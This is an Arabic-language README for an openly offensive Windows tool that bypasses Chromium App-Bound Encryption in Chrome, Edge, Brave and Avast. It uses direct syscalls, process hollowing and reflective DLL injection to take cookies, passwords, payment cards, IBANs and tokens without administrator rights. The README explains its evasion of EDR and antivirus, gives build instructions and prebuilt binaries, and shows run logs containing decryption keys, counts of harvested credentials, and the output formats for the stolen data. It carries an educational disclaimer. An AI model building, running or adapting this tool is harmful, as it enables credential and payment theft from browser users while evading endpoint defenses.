
تجاوز تشفير Chromium المرتبط بالتطبيق عبر الحقن الانعكاسي للعمليات القائم على استدعاءات النظام المباشرة. استخراج ملفات تعريف الارتباط وكلمات المرور وطرق الدفع والرموز من Chrome وEdge وBrave وAvast - بدون ملفات، في وضع المستخدم، دون الحاجة إلى صلاحيات المسؤول.
Chrome App-Bound Encryption Decryption)أداة استغلال ما بعد الاختراق توضح تجاوزًا كاملاً في الذاكرة لتشفير App-Bound Encryption (ABE) الخاص بـ Chromium. يستخدم هذا المشروع التفريغ الانعكاسي للعمليات القائم على استدعاءات النظام المباشرة لتشغيل عملية متصفح شرعية في حالة معلّقة، مع حقن حمولة بخفية لاختطاف هويتها وسياقها الأمني. تقنية Living-off-the-Land (LOTL) هذه تقوّض نموذج الأمان الخاص بالمتصفح نفسه. النهج غير الملفي يسمح للأداة بالعمل بالكامل من الذاكرة، متجاوزةً خطافات واجهات برمجة التطبيقات في وضع المستخدم لفك تشفير واستخراج بيانات المستخدم الحساسة (ملفات تعريف الارتباط، كلمات المرور، المدفوعات) من متصفحات Chromium الحديثة.
إذا وجدت هذا البحث قيّمًا، سأقدّر كوب قهوة:
تعود فعالية هذه الأداة إلى مزيج من التقنيات الحديثة المركّزة على التخفي:
استدعاءات النظام المباشرة للمراوغة: تتجاوز خطافات وضع المستخدم الخاصة بـ EDR/AV على دوال WinAPI القياسية باستدعاء دوال النواة مباشرة. يقوم المحرك بحل أرقام استدعاءات النظام ديناميكيًا في وقت التشغيل باستخدام تقنية Hell's Gate مع مطابقة الدوال بالاعتماد على التجزئة (لا توجد أسماء استدعاءات نظام بنص صريح داخل الملف الثنائي).
تفريغ العمليات القائم على استدعاءات النظام المباشرة: تقنية خفية لإنشاء العمليات وحقنها. فبدلاً من الحقن في عملية عالية الحركة وربما مراقَبة، تنشئ عملية مضيفة جديدة معلّقة. وهذا يقلل بشكل كبير من فرص الاكتشاف، إذ تتم جميع عمليات التلاعب بالذاكرة قبل بدء التنفيذ الطبيعي للعملية.
الحمولة غير الملفية في الذاكرة: لا تلمس حمولة DLL القرص على الجهاز المستهدف إطلاقًا. فهي مضمّنة كمصفوفة بايت مشفّرة بتقنية ChaCha20 في وقت الترجمة مع مفاتيح مشتقة في وقت الترجمة، ويتم فك تشفيرها في الذاكرة وتحميلها انعكاسيًا، مما يقلل من بصمتها الجنائية ويتجاوز الماسحات القائمة على الملفات الثابتة.
حقن DLL الانعكاسي (RDI): طريقة حقن خفية في العمليات تتجاوز LoadLibrary للحمولة الرئيسية، وبالتالي تتفادى آليات الكشف التي تراقب تحميل الوحدات. يقوم مُحمِّل التمهيد المكتفي بذاته بتعيين أقسام PE، وينفّذ إعادة التوطين (relocations)، ويحل الاستيرادات من الذاكرة.
استدعاء COM في سياق الهدف: وهو العنصر الحاسم لهزيمة App-Bound Encryption. من خلال تنفيذ الكود داخل عملية المتصفح الموثوقة، نرث هويتها وسياقها الأمني، مما يسمح لنا بتوجيه استدعاءات تبدو شرعية إلى خادم COM الخاص بـ ABE وتلبية فحوصات التحقق من المسار الأمنية.
Nt*/Zw* بنص صريح في الملف الثنائي — يستخدم تجزئات DJB2 في وقت الترجمة.LoadLibrary مريبة.--kill اختياري لإنهاء العملية بالكامل.
ملاحظة: تستخدم الإصدارات 144+ من Chrome/Brave/Edge واجهة COM الجديدة
IElevator2. تستخدم هذه الأداة تلقائيًاIElevator2عند توفره وتتراجع إلىIElevatorللإصدارات الأقدم. يستخدم Avast Secure Browser واجهةIElevatorChromeمخصصة مع جدول vtable موسّع (12 دالة، وDecryptData عند الإزاحة 104).
توضح هذه المصفوفة قدرات الاستخراج لكل متصفح مدعوم.
يركّز تنفيذ الأداة على التخفي والكفاءة، وهو مبني حول عملية التفريغ الانعكاسي القائم على استدعاءات النظام المباشرة. يضمن هذا النهج إجراء عدد قليل من استدعاءات واجهات برمجة التطبيقات عالية المستوى، وعمل الحمولة من داخل عملية متصفح جديدة وشرعية.
chromelevator.exe)ntdll.dll ديناميكيًا لحل أرقام استدعاءات النظام (SSNs) باستخدام المطابقة القائمة على التجزئة، وتحديد أدوات الانتقال إلى النواة (syscall/ret أو svc/ret). إذا تم تحديد العلامة --kill، يستخدم استدعاءي النظام NtGetNextProcess وNtTerminateProcess لإنهاء جميع النسخ قيد التشغيل من المتصفح المستهدف، محررًا أقفال الملفات على قواعد بيانات SQLite.CREATE_SUSPENDED (CreateProcessW). هذه العملية المعلّقة والنظيفة تعمل كمضيف لحمولتنا.NtAllocateVirtualMemory (استدعاء نظام مباشر).NtWriteVirtualMemory.Bootstrap الانعكاسي كأداة تحميل PE مخصصة في الذاكرة مع تخفٍّ معزّز:
NtAllocateVirtualMemory (متجاوزًا VirtualAlloc المخطوف).NtProtectVirtualMemory.DllMain الخاص بالحمولة.DllMain خيطًا جديدًا يتصل فورًا بمقبض named pipe الذي مرره الحاقن. يقرأ الإعدادات، بما في ذلك مسار الإخراج، التي أرسلها الحاقن. تُنقل جميع السجلات وتحديثات الحالة لاحقًا عبر هذا الأنبوب.IElevator2 لإصدارات Chrome/Brave 144+، وIElevator للإصدارات الأقدم، وIEdgeElevatorFinal لـ Edge، أو IAvastElevator لـ Avast Secure Browser). وبما أن الاستدعاء ينشأ من مسار عملية موثوق، يتم اجتياز جميع فحوصات الأمان الخاصة بالخادم.يستخدم هذا المشروع سكربت بناء بسيطًا وقويًا يتولى جميع عمليات الترجمة وتضمين الحمولة تلقائيًا.
استنسخ هذا المستودع.
افتح موجه أوامر المطور لـ VS (أو أي shell يدعم MSVC).
شغّل سكربت البناء make.bat من جذر المشروع.
خيارات البناء:
make.bat - بناء كامل (افتراضي)make.bat clean - إزالة جميع مخرجات البناءmake.bat build_encryptor_only - بناء المشفر فقط (يُستخدم في CI)make.bat build_target_only - بناء الحمولة والحاقن (يُستخدم في CI)يستخدم هذا المشروع GitHub Actions لبناء ملف الحاقن التنفيذي (chromelevator.exe) تلقائيًا لكل من المعماريتين x64 وARM64.
يمكنك العثور على أحدث الملفات الثنائية المجمّعة مسبقًا في صفحة الإصدارات. يتم تجميع الملفات التنفيذية لكلا المعماريتين معًا في ملف .zip واحد مناسب.
محتويات حزمة الإصدار:
chromelevator_x64.exechromelevator_arm64.exePS> .\chromelevator.exe --help
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>
Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory
### الخيارات
- `--output-path <path>` أو `-o <path>`
يحدد الدليل الأساسي لملفات الإخراج.
القيمة الافتراضية هي `.\output\` نسبةً إلى موقع أداة الحقن.
سيتم تنظيم البيانات في مجلدات فرعية: `<path>/<BrowserName>/<ProfileName>/`.
- `--verbose` أو `-v`
تفعيل مخرجات تصحيح أخطاء مفصّلة من أداة الحقن.
- `--fingerprint` أو `-f`
استخراج بيانات شاملة لبصمة المتصفح بما في ذلك الإصدار والإضافات وإعدادات الأمان ومعلومات النظام.
تُحفظ النتائج في `fingerprint.json` داخل دليل إخراج المتصفح.
- `--kill` أو `-k`
**إنهاء جميع عمليات المتصفح قبل الاستخراج.** يستخدم استدعاءات نظام مباشرة (`NtTerminateProcess`) لإنهاء جميع النسخ قيد التشغيل من المتصفح (المتصفحات) المستهدفة قبل محاولة استخراج البيانات. يكون هذا مفيدًا عندما يكون المتصفح قيد التشغيل ويحتفظ بأقفال على ملفات قاعدة البيانات، مما يمنع الأداة من الوصول إلى ملفات تعريف الارتباط أو البيانات المشفرة الأخرى.
- `--help` أو `-h`
عرض رسالة المساعدة هذه.
### التشغيل العادي```bash
PS> .\chromelevator.exe all
_________ .__ ___________.__ __
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
\/ \/ \/ \/ \/ \/
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Brave (143.1.85.120) ──────────────────────
│
│ Decryption Key
│ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
│
├── Default
│ Cookies 3312
│ Passwords 55
│ Cards 1
│ IBANs 1
│
└── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
┌──── Chrome (143.0.7499.193) ───────────────────
│
│ Decryption Key
│ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
│
├── Default
│ Cookies 380
│ Passwords 1
│
├── Profile 1
│ Cookies 932
│ Passwords 791
│ Cards 1
│ IBANs 1
│ Tokens 2
│
└── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
┌──── Chrome Beta (144.0.7559.59) ───────────────
│
│ Decryption Key
│ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
│
├── Default
│ Cookies 224
│
└── 224 cookies (1 profile)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta
┌──── Edge (144.0.3719.67) ──────────────────────
│
│ Decryption Key
│ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
│
├── Default
│ Cookies 226
│ Passwords 2
│ Cards 1
│
├── Profile 1
│ Cookies 25
│
└── 251 cookies, 2 passwords, 1 cards (2 profiles)
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
PS> .\chromelevator.exe -v -f chrome
_________ .__ . __
_ ___ | | ____ _____ _ /| | _______ _______ / | ___________
/ \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _| Y \ | ( <> ) Y Y | | |\ /\ / / __ | | ( <> ) | /
_ /| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__|
/ / / / / /
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.20.0 by @xaitax
┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
## 📂 استخراج البيانات
بمجرد اكتمال فك التشفير، يتم حفظ البيانات في مسار الإخراج المحدد (الافتراضي إلى `.\output\` إذا لم يتم تحديده عبر `--output-path`). يتم تنظيم الملفات على النحو التالي:
**المسار الأساسي:** `YOUR_CHOSEN_PATH` (مثال: `.\output\` أو المسار الذي تقدمه)
**البنية:** <Base Path>/<BrowserName>/<ProfileName>/<data_type>.json
أمثلة على المسارات (افتراضًا لموقع الإخراج الافتراضي):
- 🍪 **ملفات تعريف الارتباط (ملف تعريف Chrome الافتراضي):** .\output\Chrome\Default\cookies.json
- 🔑 **كلمات المرور (ملف تعريف Edge 1):** .\output\Edge\Profile 1\passwords.json
- 💳 **طرق الدفع (ملف تعريف Brave الافتراضي):** .\output\Brave\Default\payments.json
- 🏦 **أرقام IBAN (ملف تعريف Chrome 1):** .\output\Chrome\Profile 1\iban.json
### 🍪 استخراج ملفات تعريف الارتباط
كل ملف من ملفات تعريف الارتباط هو مصفوفة JSON من الكائنات:```json
[
{
"host": "accounts.google.com",
"name": "ACCOUNT_CHOOSER",
"path": "/",
"expires": 1766591611,
"value": "AFx_qI781-…"
},
{
"host": "mail.google.com",
"name": "OSID",
"path": "/mail",
"expires": 1766591611,
"value": "g.a000uwj5ufIS…"
},
…
]
كل ملف كلمات مرور هو مصفوفة JSON من الكائنات:```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]
### 💳 استخراج طريقة الدفع
كل ملف دفع عبارة عن مصفوفة JSON من الكائنات:```json
[
{
"name": "John Doe",
"month": 12,
"year": 2030,
"number": "••••••••••1234",
"cvc": "•••"
},
…
]
كل ملف IBAN هو مصفوفة JSON من الكائنات:```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]
### 🎟️ استخراج التوكن
كل ملف توكن هو مصفوفة JSON من الكائنات التي تحتوي على الخدمة والتوكن المُفكَّك تشفيره ومفتاح الربط (إن وُجد):```json
[
{
"service": "AccountId-112823413702122221871",
"token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
"binding_key": ""
}
]
عند استخدام الخيار --fingerprint أو -f، يتم إنشاء تقرير شامل للبيانات الوصفية:```json
{
"browser": "Chrome",
"executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe",
"browser_version": "143.0.7499.170",
"user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data",
"sync_enabled": false,
"enterprise_managed": true,
"update_channel": "stable",
"hardware_acceleration": false,
"metrics_enabled": false,
"autofill_enabled": true,
"password_manager_enabled": false,
"safe_browsing_enabled": true,
"do_not_track": false,
"third_party_cookies_blocked": false,
"translate_enabled": true,
"installed_extensions_count": 2,
"extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"],
"profile_count": 2,
"computer_name": "DESKTOP-ABC123",
"windows_user": "username",
"os_version": "10.0.26220",
"architecture": "ARM64",
"last_config_update": 1766578854,
"extraction_timestamp": 1766591611,
"extraction_complete": true
}
توفر هذه البيانات معلومات استخباراتية حول إعدادات المتصفح، ووضعه الأمني، وسياق النظام.
## 📚 التحليل التقني المتعمق والبحوث
للفهم الشامل لتشفير Chrome المرتبط بالتطبيق (App-Bound Encryption)، وتعقيدات تنفيذه، والآليات التفصيلية لنهج هذه الأداة، ومناقشة أوسع لمتجهات الأمان ذات الصلة، يُرجى الرجوع إلى ورقة البحث التفصيلية الخاصة بي:
1. ➡️ **[تشفير Chrome المرتبط بالتطبيق (ABE) - غوص تقني عميق وملاحظات بحثية](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/RESEARCH.md)**
تغطي هذه الوثيقة ما يلي:
- التطور من DPAPI إلى ABE.
- تفصيل خطوة بخطوة لآلية ABE، بما في ذلك تفاعلات `IElevator`/`IElevator2` مع COM وتغليف المفاتيح.
- منهجية تفصيلية لاستراتيجية حقن DLL التي تستخدمها هذه الأداة.
- تحليل هياكل البيانات المشفرة ورؤى من الكود المصدري لـ Chromium.
- مناقشة متجهات فك التشفير البديلة ودفاعات Chrome المتطورة.
2. ➡️ **[القضية الغريبة للـ COM المشاكس: فك تشفير Microsoft Edge المرتبط بالتطبيق](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**
توضح هذه المقالة التحديات المحددة ورحلة الهندسة العكسية التي خاضتها لتحقيق فك تشفير ABE موثوق لـ Microsoft Edge. وتشمل:
- سرد للمشكلات الأولية ورموز الخطأ المضللة (`E_INVALIDARG`, `E_NOINTERFACE`).
- عملية استخدام الاستبطان (introspection) لمكتبة أنواع COM (مع Python `comtypes`) لكشف بنية vtable الفريدة لواجهة `IElevatorEdge` في Edge ووراثتها.
- كيف قادت هذه الرؤية إلى إنشاء كعوب واجهات (interface stubs) مخصصة بلغة C++ للتفاعل بنجاح مع خدمة ABE الخاصة بـ Edge.
- نظرة عملية على تصحيح أخطاء مشكلات التوافق المعقدة مع COM.
3. ➡️ **[المصعد يحصل على ترقية: Chrome 144 وIElevator2 وأفق Mojo](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**
تغطي هذه المقالة واجهة COM الجديدة `IElevator2` الخاصة بـ Chrome 144 وما تعنيه لـ ABE:
- مقارنة تقنية بين واجهة `IElevator` الخاصة بـ Chrome 143 وواجهة `IElevator2` الخاصة بـ Chrome 144.
- تحليل الطريقتين الجديدتين (`RunIsolatedChrome`, `AcceptInvitation`) وارتباطهما بهجرة Mojo IPC المخطط لها في Chromium.
- مقارنة تخطيط VTable التي تُظهر الحفاظ على التوافق مع الإصدارات السابقة.
- التبني الجزئي من Edge 144 لواجهة `IElevator2` وواجهات Copilot الجديدة.
- تقييم صريح لما تغيّره هجرة Mojo (وما لا تغيّره) في أمان ABE.
4. ➡️ **[COMrade ABE: دليلك الميداني للجوانب الخفية لـ COM في التشفير المرتبط بالتطبيق](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/COMrade_ABE_Field_Manual.md)**
يقدّم هذا الدليل الميداني **COMrade ABE**، وهو محلل ديناميكي مبني على Python لواجهات ABE COM، ويستعرض تطبيقاته العملية:
- يشرح ضرورة التحليل الديناميكي لواجهات COM بسبب اختلافات المتصفحات وتحديثاتها.
- يفصّل منهجية COMrade ABE: فحص السجل (Registry) لاكتشاف الخدمات، وتحميل وتحليل مكتبات الأنواع (Type Library)، ومطابقة توقيعات أساليب ABE القائمة على الاستدلال (heuristics).
- يقدّم دليلاً شاملاً لتفسير مخرجات COMrade ABE، بما في ذلك CLSIDs وIIDs (النمط القياسي ونمط C++)، وأهمية تفاصيل المخرجات التفصيلية مثل إزاحات VTable، والواجهات المعرِّفة (defining interfaces)، وسلاسل الوراثة الكاملة.
- يسلط الضوء على فائدة كعوب C++ المُولّدة تلقائيًا (`--output-cpp-stub`) في التطوير والبحث السريعين.
- يناقش كيف يساعد COMrade ABE في التكيف مع تغييرات ABE، وتحليل متصفحات Chromium الجديدة، وفهم تخصيصات COM الخاصة بالبائعين.
## 🔗 موارد وأبحاث إضافية
يعتمد هذا المشروع على أعمال وتحليلات مجتمع الأمن الأوسع.
- **التوثيق الرسمي والإعلانات:**
- [مدونة Google الأمنية: تحسين أمان ملفات تعريف الارتباط الخاصة بـ Chrome على Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [وثيقة التصميم: خدمة تشفير Chrome المرتبط بالتطبيق](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)
- **أبحاث المجتمع والإقرار:**
- إثبات المفهوم من قبل [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824)
## 🗒️ سجل التغييرات
جميع التغييرات البارزة في هذا المشروع موثقة في ملف [**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/CHANGELOG.md). يتضمن ذلك سجل الإصدارات، والميزات الجديدة، وإصلاحات الأخطاء، والتحسينات الأمنية.
## 📜 الترخيص
هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف [LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/LICENSE) للحصول على التفاصيل.
## 💡 فلسفة المشروع وإخلاء المسؤولية
> [!IMPORTANT]
> هذا مشروع هواة أُنشئ لأغراض تعليمية وبحثية في مجال الأمن. وهو بمثابة تجربة تعلم شخصية وميدان لاستكشاف مفاهيم Windows المتقدمة.
>
> **هذه الأداة ليست مخصصة لتكون أداة سرقة معلومات (infostealer) كاملة الميزات أو أداة مضمونة لتجنب أنظمة EDR.** ورغم أنها تستخدم تقنيات متقدمة، فإن هدفها الأساسي هو عرض آلية ABE وتفكيكها، وليس توفير تمويه تشغيلي للاستخدام الخبيث. يرجى ضمان الامتثال لجميع الإرشادات القانونية والأخلاقية ذات الصلة.
| المتصفح | الإصدار المختبر (x64 وARM64) |
|---|
| Google Chrome | 144.0.7559.133 |
| Google Chrome Beta | 145.0.7632.18 |
| Brave | 1.86.148 (144.1.86.148) |
| Microsoft Edge | 145.0.3800.36 |
| Avast Secure Browser | 143.0.33371.147 |
| الخاصية | Google Chrome | Microsoft Edge | Brave | Avast Secure Browser |
|---|
| ملفات تعريف الارتباط | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| كلمات المرور | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| وسائل الدفع | ✅ ABE | ✅ ABE | ✅ ABE | ✅ ABE |
| أرقام IBAN | ✅ ABE | ❌ N/A | ✅ ABE | ✅ ABE |
| رموز المصادقة | ❌ N/A | ❌ N/A | ❌ N/A |
NtProtectVirtualMemory (استدعاء نظام مباشر).NtCreateThreadEx. يشير عنوان بداية الخيط مباشرةً إلى دالة التصدير Bootstrap الخاصة بالحمولة، مع عنوان اسم الأنبوب البعيد كوسيطة له. يبقى الخيط الرئيسي الأصلي للمتصفح معلقًا ولا يُستأنف أبدًا. ينتظر الحاقن بعد ذلك اتصال الحمولة بالأنبوب.DecryptData على واجهة COM، مقدمةً app_bound_encrypted_key التي تقرؤها من ملف Local State. يقوم خادم COM بفك تشفير المفتاح ويعيد المفتاح الرئيسي AES-256 كنص صريح إلى الحمولة.Default، Profile 1، إلخ). لكل ملف تعريف، تستعلم عن قواعد بيانات SQLite ذات الصلة (Cookies، Login Data، Web Data)، وتفك تشفير كتل البيانات باستخدام AES-256-GCM، وتنسق الأسرار كـ JSON. تُكتب النتائج مباشرة إلى دليل الإخراج المحدد من قبل الحاقن.FreeLibraryAndExitThread للتنظيف. الحاقن، عند استلام الإشارة، ينهي عملية المضيف الأصلية باستخدام NtTerminateProcess.